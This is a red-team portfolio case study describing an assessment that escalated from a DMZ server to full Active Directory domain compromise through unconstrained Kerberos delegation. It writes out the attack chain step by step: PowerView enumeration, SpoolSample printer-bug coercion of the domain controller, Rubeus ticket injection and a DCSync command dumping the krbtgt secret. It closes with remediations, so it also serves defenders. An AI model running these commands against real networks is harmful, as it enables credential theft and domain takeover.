# Enterprise Active Directory Compromise: Unconstrained Delegation
> **RFC 5737 Compliance Notice:** All IP addresses within this technical write-up have been mapped to documentation block `192.0.2.0/24` (TEST-NET-1). Internal Active Directory computer objects, domain namespaces, and user hashes have been sanitized under NDA.
## 1. Problem: Architectural Threat Vector
During an adversary emulation assessment against an enterprise finance client, the perimeter DMZ was assessed. An application server running legacy synchronization software had been configured with:
```powershell
userAccountControl: TRUSTED_FOR_DELEGATION
```
### Root Flaw
This unconstrained Kerberos delegation configuration allowed `DMZ-SRV01` (`192.0.2.45`) to extract and cache Ticket Granting Tickets (TGTs) for any authenticated domain user or service principal.
---
## 2. Action: Exploitation Chain
### Step A: Identification & Enumeration
Using LDAP queries via PowerView:
```powershell
Get-DomainComputer -Unconstrained | Select-Object samaccountname, dnshostname
```
### Step B: Coercing Domain Controller Authentication
Executing the MS-RPRN RPC `RpcRemoteFindFirstPrinterChangeNotificationEx` call:
```powershell
.\SpoolSample.exe 192.0.2.10 192.0.2.45
```
### Step C: TGT Harvesting & DCSync
Rubeus harvested the ticket for `DC01$`, which was subsequently used for DCSync replication:
```powershell
.\Rubeus.exe ptt /ticket:<BASE64_TGT_PAYLOAD>
lsadump::dcsync /domain:corp.internal /user:krbtgt
```
---
## 3. Outcome & Business Impact
1. **Domain Compromise Duration:** Escalation from unprivileged DMZ access to full Enterprise Domain Admin achieved in **3 hours 24 minutes**.
2. **Detection Footprint:** Zero EDR alerts triggered during ticket extraction.
3. **Remediation Delivered:**
- Transitioned from unconstrained to **Resource-Based Constrained Delegation (RBCD)**.
- Enforced `Account is sensitive and cannot be delegated` on all Tier-0 accounts.
- Restricted RPC endpoint access from DMZ boundaries.
Return to Portfolio Case Studies
CRITICAL•Red Team•2025-10-15
Enterprise AD Compromise: Unconstrained Delegation to Domain Dominance
Detailed Problem-Action-Outcome walk-through detailing the compromise of an enterprise Active Directory domain through unconstrained Kerberos delegation abuse and RPC printer bug coercion.
Author:Arafat Rahman SijanCertified Red Team Analyst (CRTA)
CVSS v4.0 Score:9.8CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Target Environment:Multi-Forest Windows Server 2022 Active Directory
Back to Case StudiesRFC 5737 Sanitized • Arafat Rahman Sijan